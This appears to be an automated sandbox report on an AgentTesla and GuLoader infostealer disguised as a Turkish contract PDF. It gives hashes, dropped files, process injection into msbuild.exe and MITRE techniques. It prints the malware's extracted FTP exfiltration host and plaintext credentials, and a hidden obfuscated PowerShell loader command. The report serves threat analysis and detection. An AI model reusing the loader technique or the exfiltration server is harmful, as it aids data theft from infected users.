agenttesla | 3c0a5c75a24724f85305ffe4831cc0303f9eaa1e2b3a897a91cb808429b34845

Analysis

max time kernel
141s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20231127-en
resource tags

arch:x64arch:x86image:win10v2004-20231127-enlocale:en-usos:windows10-2004-x64system
submitted
07-12-2023 07:31

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General

Target

SÖZLEŞME-pdf.exe
Size

701KB
MD5

62078921f530e580c1df7e86bf9975a1
SHA1

6589ad060056166c90136ba0313c1e580e478fdd
SHA256

3c0a5c75a24724f85305ffe4831cc0303f9eaa1e2b3a897a91cb808429b34845
SHA512

b9b3aceba175deffdb04687d885f88de035cc76df590f621a12b55ec798eb218b2d66531d9055cad51dfb5f2e1b8a98c262e467d0716506b567d3691af817dd0
SSDEEP

12288:lwFGHET8v6M1Q0Lxa4cdpv0yLHYGBHj4LrMpKWlnZylgimtdYM3O0V7bb:l5HETcTQ6M4ct8w00ylgZtub0V7

Score

10^/10

agenttesla guloader downloader keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.vvspijkenisse.nl
Port:
21
Username:
[email protected]
Password:
playingboyz231

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Drops file in System32 directory 1 IoCs

Processes:

SÖZLEŞME-pdf.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Haglskadeforsikring\Miljankenvnet.ini SÖZLEŞME-pdf.exe
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

msbuild.exe

pid process

4488 msbuild.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exemsbuild.exe

pid process

3736 powershell.exe
4488 msbuild.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3736 set thread context of 4488 3736 powershell.exe msbuild.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Haglskadeforsikring\Miljankenvnet.ini	SÖZLEŞME-pdf.exe

pid	process
4488	msbuild.exe

description	pid	process	target process
PID 3736 set thread context of 4488	3736	powershell.exe	msbuild.exe

Drops file in Program Files directory 4 IoCs

Processes:

SÖZLEŞME-pdf.exe

description	ioc	process
File created	C:\Program Files (x86)\cockling.lnk	SÖZLEŞME-pdf.exe
File opened for modification	C:\Program Files (x86)\cockling.lnk	SÖZLEŞME-pdf.exe
File opened for modification	C:\Program Files (x86)\Kldebonnets.kod	SÖZLEŞME-pdf.exe
File opened for modification	C:\Program Files (x86)\Common Files\integraltegnets\substrate.Ski	SÖZLEŞME-pdf.exe

Drops file in Windows directory 3 IoCs

Processes:

SÖZLEŞME-pdf.exe

description	ioc	process
File created	C:\Windows\bagvognen.lnk	SÖZLEŞME-pdf.exe
File opened for modification	C:\Windows\Calottes.Doo	SÖZLEŞME-pdf.exe
File opened for modification	C:\Windows\bagvognen.lnk	SÖZLEŞME-pdf.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1496 4488 WerFault.exe msbuild.exe

pid	pid_target	process	target process
1496	4488	WerFault.exe	msbuild.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

powershell.exemsbuild.exe

pid	process
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
4488	msbuild.exe
4488	msbuild.exe
4488	msbuild.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

3736 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exemsbuild.exe

description pid process

Token: SeDebugPrivilege 3736 powershell.exe
Token: SeDebugPrivilege 4488 msbuild.exe

description	pid	process
Token: SeDebugPrivilege	3736	powershell.exe
Token: SeDebugPrivilege	4488	msbuild.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

SÖZLEŞME-pdf.exepowershell.exe

description	pid	process	target process
PID 1756 wrote to memory of 3736	1756	SÖZLEŞME-pdf.exe	powershell.exe
PID 1756 wrote to memory of 3736	1756	SÖZLEŞME-pdf.exe	powershell.exe
PID 1756 wrote to memory of 3736	1756	SÖZLEŞME-pdf.exe	powershell.exe
PID 3736 wrote to memory of 4488	3736	powershell.exe	msbuild.exe
PID 3736 wrote to memory of 4488	3736	powershell.exe	msbuild.exe
PID 3736 wrote to memory of 4488	3736	powershell.exe	msbuild.exe
PID 3736 wrote to memory of 4488	3736	powershell.exe	msbuild.exe
PID 3736 wrote to memory of 4488	3736	powershell.exe	msbuild.exe

C:\Users\Admin\AppData\Local\Temp\SÖZLEŞME-pdf.exe
"C:\Users\Admin\AppData\Local\Temp\SÖZLEŞME-pdf.exe"
1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1756

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$bungfu=Get-Content 'C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Dispersionerne.Amb77';$Sjusserne=$bungfu.SubString(50752,3);.$Sjusserne($bungfu)"
2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3736

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4488

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4488 -s 1860
4⤵
- Program crash
PID:1496

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4488 -ip 4488
1⤵
PID:1928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Rkkens.ini

Filesize
32B

MD5
a8ca1db6ae34f5e5c152094f44f92476

SHA1
9fe0fd4e6907c4f9099d2533c3bade4ffa0968e7

SHA256
1f0dbc97d6570f2f5a1e18f82842c9a0007e568ca8fb768c123637ef5077aad3

SHA512
e48e987e1f8297b17f7fb5b8b34da6131156834310987600b20b0dcff4c43632ccb4b2305030a4a999f783176d480c8300e6aef92afbb2032379eca6dac88b5a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yohi4hxd.uyd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Autumn.Fil

Filesize
293KB

MD5
07f672cc4e0e8d3856b4324b80b59275

SHA1
596ceb4b0a3be1029c2be0f633b2f5f4734c4fc0

SHA256
a32785d716991ef0b1ab3af1ba58a5d90fbc03a30431d0ff2d538d0bb2cfc5c3

SHA512
58a692f5347eada5fa9a97cc5f85b2a4c46419c14b8d0cb67c5d4a6a464b5f2b942ac1c6b10efb0d5a2b7c0f291d85dd8a4878c06fe7996ae6df829bd274354d

Download Submit
C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Dispersionerne.Amb77

Filesize
49KB

MD5
6f471e56b57ed402dd3d0659e4c4489e

SHA1
e3f351b01dd96b408599c1165786635d2332012f

SHA256
7834c9ab2a3f5f0c1d945474a350d8cc1437502931ef6f115c3a77869ae3ba01

SHA512
06773bd5be240c213dc54dc1e4dc2a0f0da40335c15dd93639e8aa4da6a279fa321f395399bb115ed17c6585fc9e2bba3bfca2255bcb02c4f553f9a748ceb8d4

Download Submit
memory/3736-156-0x00000000061F0000-0x0000000006544000-memory.dmp

Filesize
3.3MB

Download
memory/3736-163-0x0000000008020000-0x00000000085C4000-memory.dmp

Filesize
5.6MB

Download
memory/3736-144-0x00000000057C0000-0x00000000057E2000-memory.dmp

Filesize
136KB

Download
memory/3736-145-0x0000000006090000-0x00000000060F6000-memory.dmp

Filesize
408KB

Download
memory/3736-143-0x00000000052B0000-0x00000000052C0000-memory.dmp

Filesize
64KB

Download
memory/3736-151-0x0000000006100000-0x0000000006166000-memory.dmp

Filesize
408KB

Download
memory/3736-141-0x00000000052B0000-0x00000000052C0000-memory.dmp

Filesize
64KB

Download
memory/3736-157-0x0000000006800000-0x000000000681E000-memory.dmp

Filesize
120KB

Download
memory/3736-169-0x00000000092D0000-0x000000000A278000-memory.dmp

Filesize
15.7MB

Download
memory/3736-159-0x00000000052B0000-0x00000000052C0000-memory.dmp

Filesize
64KB

Download
memory/3736-162-0x0000000006D80000-0x0000000006DA2000-memory.dmp

Filesize
136KB

Download
memory/3736-161-0x0000000006D60000-0x0000000006D7A000-memory.dmp

Filesize
104KB

Download
memory/3736-160-0x00000000079D0000-0x0000000007A66000-memory.dmp

Filesize
600KB

Download
memory/3736-184-0x0000000073350000-0x0000000073B00000-memory.dmp

Filesize
7.7MB

Download
memory/3736-140-0x0000000073350000-0x0000000073B00000-memory.dmp

Filesize
7.7MB

Download
memory/3736-165-0x0000000008C50000-0x00000000092CA000-memory.dmp

Filesize
6.5MB

Download
memory/3736-139-0x00000000051A0000-0x00000000051D6000-memory.dmp

Filesize
216KB

Download
memory/3736-168-0x0000000007D00000-0x0000000007D04000-memory.dmp

Filesize
16KB

Download
memory/3736-158-0x0000000006850000-0x000000000689C000-memory.dmp

Filesize
304KB

Download
memory/3736-142-0x00000000058F0000-0x0000000005F18000-memory.dmp

Filesize
6.2MB

Download
memory/3736-177-0x00000000092D0000-0x000000000A278000-memory.dmp

Filesize
15.7MB

Download
memory/3736-173-0x00000000052B0000-0x00000000052C0000-memory.dmp

Filesize
64KB

Download
memory/3736-174-0x00000000052B0000-0x00000000052C0000-memory.dmp

Filesize
64KB

Download
memory/3736-175-0x0000000076FB1000-0x00000000770D1000-memory.dmp

Filesize
1.1MB

Download
memory/3736-170-0x00000000092D0000-0x000000000A278000-memory.dmp

Filesize
15.7MB

Download
memory/3736-171-0x0000000073350000-0x0000000073B00000-memory.dmp

Filesize
7.7MB

Download
memory/3736-187-0x00000000092D0000-0x000000000A278000-memory.dmp

Filesize
15.7MB

Download
memory/4488-188-0x0000000000900000-0x00000000018A8000-memory.dmp

Filesize
15.7MB

Download
memory/4488-180-0x000000006E150000-0x000000006F3A4000-memory.dmp

Filesize
18.3MB

Download
memory/4488-181-0x000000006E150000-0x000000006F3A4000-memory.dmp

Filesize
18.3MB

Download
memory/4488-182-0x0000000000900000-0x00000000018A8000-memory.dmp

Filesize
15.7MB

Download
memory/4488-183-0x000000006E150000-0x000000006E190000-memory.dmp

Filesize
256KB

Download
memory/4488-179-0x0000000077038000-0x0000000077039000-memory.dmp

Filesize
4KB

Download
memory/4488-185-0x0000000073350000-0x0000000073B00000-memory.dmp

Filesize
7.7MB

Download
memory/4488-178-0x0000000076FB1000-0x00000000770D1000-memory.dmp

Filesize
1.1MB

Download
memory/4488-186-0x000000001FA70000-0x000000001FA80000-memory.dmp

Filesize
64KB

Download
memory/4488-176-0x0000000000900000-0x00000000018A8000-memory.dmp

Filesize
15.7MB

Download
memory/4488-190-0x0000000073350000-0x0000000073B00000-memory.dmp

Filesize
7.7MB

Download